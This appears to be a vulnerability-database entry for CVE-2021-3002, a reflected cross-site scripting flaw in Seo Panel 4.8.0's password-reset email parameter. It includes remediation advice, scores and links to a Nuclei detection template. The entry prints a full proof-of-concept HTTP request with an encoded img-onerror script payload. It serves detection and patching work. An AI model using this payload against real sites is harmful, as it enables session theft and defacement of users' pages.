| Title | Seo Panel 4.8.0 - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to a patched version of Seo Panel or apply the necessary security patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.30353 |
| CVE ID | CVE-2021-3002 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve seopanel xss vuln |
Seo Panel 4.8.0 contains a reflected cross-site scripting vulnerability via the seo/seopanel/login.php?sec=forgot email parameter.
POST /seo/seopanel/login.php?sec=forgot HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
sec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3002.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3002.pcap
N/AN/A